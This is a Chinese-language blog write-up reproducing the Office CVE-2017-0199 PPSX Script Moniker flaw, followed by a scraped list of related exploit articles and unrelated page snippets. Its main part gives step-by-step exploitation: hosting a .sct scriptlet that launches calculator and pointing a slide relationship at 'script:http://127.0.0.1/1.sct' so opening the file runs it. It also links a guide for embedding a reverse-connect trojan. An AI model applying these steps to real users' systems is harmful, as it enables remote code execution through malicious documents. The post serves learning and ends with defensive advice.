Office远程代码执行漏洞CVE-2017-0199复现
在刚刚结束的BlackHat2017黑帽大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是Office系列办公软件中的一个逻辑漏洞,和常规的内存破坏型漏洞不同,这类漏洞无需复杂的利用手法,直接就可以在office文档中运行任意的恶意脚本,使用起来稳定可靠,故而非常适合于漏洞学习新手测试调试使用,作为一个已经测试过该漏洞的新手,现将搭建环境和测试的全部过程呈献给大家,希望能对大家的学习有所帮助。
CVE-2017-0199实际上包含两个漏洞,其中一个称为“RTF URL Moniker”漏洞,另一个被称为“PPSX Script Moniker”漏洞,在这里我们演示一下PPSXScript Moniker漏洞的测试方式。
首先准备一台apache服务器,为了简化配置apache的过程,在这里我们直接安装xampp,XAMPP是一个把Apache网页服务器与PHP、Perl及MariaDB集合在一起的安装包,允许用户可以在自己的电脑上轻易的建立网页服务器,安装起来十分简单,无需配置其它设置。安装完成后,我们打开IE浏览器,输入http://127.0.0.1,如果能够跳转到XAMPP的欢迎界面,就认为服务器已经搭建成功了。
图1:XAMPP欢迎界面
如果你安装XAMPP时选择的是默认路径,那么你可以在C盘的根目录下找到该软件,下一步我们要做的工作时在服务器的目录下添加一个sct脚本,此处作为测试该脚本是否执行,我们让该脚本启动一个计算器程序,sct脚本代码如下:
图2:启动计算器脚本代码
我们将该脚本命名为1.sct,存放在C:\xampp\htdocs\路径下,以便于接下来我们使用的PPSX能够链接并执行改脚本。
第三步,我们修改ppsx样本文件,样本的地址可以从https://github.com/temesgeny/ppsx-file-generator网址处下载到。下载到的文件中包含一个python脚本和生成好的template.ppsx,我们直接改造template.ppsx模板,首先将改文件的后缀名改为.zip,然后将压缩文件解压,解压后的文件内容如下图所示:
图3:模板ppsx文件解压后文件内容
我们在路径ppt\slides\_rels下找到slide1.xml.rels文件,我们将图中用蓝色圈出的路径用我们自己服务的地址来替换,即更改为Target="script:http://127.0.0.1/1.sct"
图4:更改前slide1.xml.rels文件内容
更改完成后,我们将解压的四个文件重新以zip的格式压缩,这里注意不要直接压缩上一层路径的template文件夹,否则压缩后会出现两层文件夹,压缩任务完成后,我们把压缩文件的后缀名重新更正为template.ppsx,然后再次打开该文件,结果如下图所示:
图5:漏洞利用结果图
可以观察到,在打开ppsx文件后,我们嵌入在ppsx中的远程地址链接并下载了1.sct脚本,然后执行了该脚本,成功的开启了一个计算器程序。
关于RTF URL Moniker的漏洞测试在http://www.freebuf.com/articles/system/131969.html 这篇文章中写的非常详细了,实测能够成功复现漏洞,在这里就不再重复赘述了。
最后给大家推荐几个链接,在了解CVE-2017-0199漏洞的过程中,分别参考了这几篇文章:
(1)《Moniker魔法:直接在Microsoft Office中运行脚本》http://bbs.pediy.com/thread-219234.htm 这篇文章对漏洞发现的过程和原理描述的非常清晰,对底层比较感兴趣的同学可以了解学习一下
(2)http://www.freebuf.com/vuls/144054.html 这篇文章提供了一个ppsx的高级利用方式,在ppsx中嵌入了kali生成的回连木马。
最后给广大用户朋友们提几点建议,防止恶意程序给您带来不必要的损失:
1. 及时更新最新补丁,安装杀毒软件,最大限度保证自己不受恶意软件侵害
2. 若收到邮件包含附件,不要直接打开,很可能是利用这个漏洞进行攻击钓鱼邮件,一旦打开将直接中招,先查杀再打开,来历不明的邮件别收
3. 网上下的word文档、PPSX、PPT文件别随意打开,先查杀。
希望小子的文章值得你收藏与转发,关注安全小子,安全路上,你我同行:
Office远程代码执行漏洞CVE-2017-0199复现的更多相关文章
- Office远程代码执行漏洞(CVE-2017-11882)复现
昨晚看到的有复现的文章,一直到今天才去自己复现了一遍,还是例行记录一下. POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文 ...
- 隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)
Preface 这几天关于Office的一个远程代码执行漏洞很流行,昨天也有朋友发了相关信息,于是想复现一下看看,复现过程也比较简单,主要是简单记录下. 利用脚本Github传送地址 ,后面的参考链接 ...
- 漏洞复现-Office远程代码执行漏洞 (CVE-2017-11882&CVE-2018-0802)
漏洞原理 这两个漏洞本质都是由Office默认安装的公式编辑器(EQNEDT32.EXE)引发的栈溢出漏洞(不要问什么是栈溢出,咱也解释不了/(ㄒoㄒ)/~~) 影响版本 Office 365 Mic ...
- Office远程代码执行漏洞(CVE-2017-11882)
POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文件. 网上看到的改进过的POC,我们直接拿来用,命令如下: #python ...
- 【漏洞复现】Office远程代码执行漏洞(CVE-2017-11882)
昨晚看到的有复现的文章,一直到今天才去自己复现了一遍,还是例行记录一下. POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文 ...
- Office CVE-2017-8570远程代码执行漏洞复现
实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是 ...
- 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...
- 【漏洞公告】Tomcat信息泄漏和远程代码执行漏洞:CVE-2017-12615/CVE-2017-12616
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...
- Apache Struts 远程代码执行漏洞(CVE-2013-4316)
漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...
随机推荐
- 几个SQL语句(备忘)
1.三涨停 select biao1.代码,biao1.名称 from biao1,biao2,biao3 where (biao1.涨幅+ biao2.涨幅+biao3.涨幅)>0.27 an ...
- synchronized的作用
一.同步方法 public synchronized void methodAAA(){ //-. } 锁定的是调用这个同步方法的对象 测试:a.不使用这个关键字修饰方法,两个线程调用同一个对象的这个 ...
- 使用vue+flask做全栈开发的全过程(实现前后端分离)
花了几天的时间终于在本地把前后端跑通了,以一篇博客记录我这几天的心酸... 1.安装nodejs(自带npm,可能会出现版本错误,更新npm) 2.npm在国内下载时,可能会慢,所以建议要安装淘宝镜像 ...
- 华为OJ之最长公共子序列
题目描述: 对于两个给定的字符串,给出他们的最长公共子序列. 题目分析: 1,在之前的博文(http://www.cnblogs.com/yonguo123/p/6711360.html)中我们讨论了 ...
- 简单谈谈js中的MVC
MVC是什么? MVC是一种架构模式,它将应用抽象为3个部分:模型(数据).视图.控制器(分发器). 本文将用一个经典的例子todoList来展开(代码在最后). 一个事件发生的过程(通信单向流动): ...
- (转) Spring Boot MyBatis 连接数据库
最近比较忙,没来得及抽时间把MyBatis的集成发出来,其实mybatis官网在2015年11月底就已经发布了对SpringBoot集成的Release版本,Github上有代码:https://gi ...
- php 设计模式之策略模式
策略模式:定义算法,并将其封装起来,让它们之间可以互相替换,此模式让算法的变化独立于使用算法的客户. 步骤:1.抽象策略角色:定义接口或抽象类 2.具体策略角色:实现该接口(抽象类),即具体的算法实现 ...
- JPush 使用教程
JPush 使用教程 自己使用的一些经验,为了方便直接从这里复制过去就行. 就当做个笔记,防止长时间忘记之后,还需要去官网看文档. 主要思路: sdk文件 + 三方依赖系统库 + 头文件 + 添加代理 ...
- tar命令(转)
把常用的tar解压命令总结下,当作备忘: tar -c: 建立压缩档案-x:解压-t:查看内容-r:向压缩归档文件末尾追加文件-u:更新原压缩包中的文件 这五个是独立的命令,压缩解压都要用到其中一个, ...
- 花了一年时间开发的TTF2FNT字库转换软件
TTF(True Type Font)字库是微软定义的基于windows的标准字库格式.但其由于专利保护以及无法跨平台导致TTF字库在实际应用中无法有效使用. 为此我开发了TTF2FNT字库转换软件, ...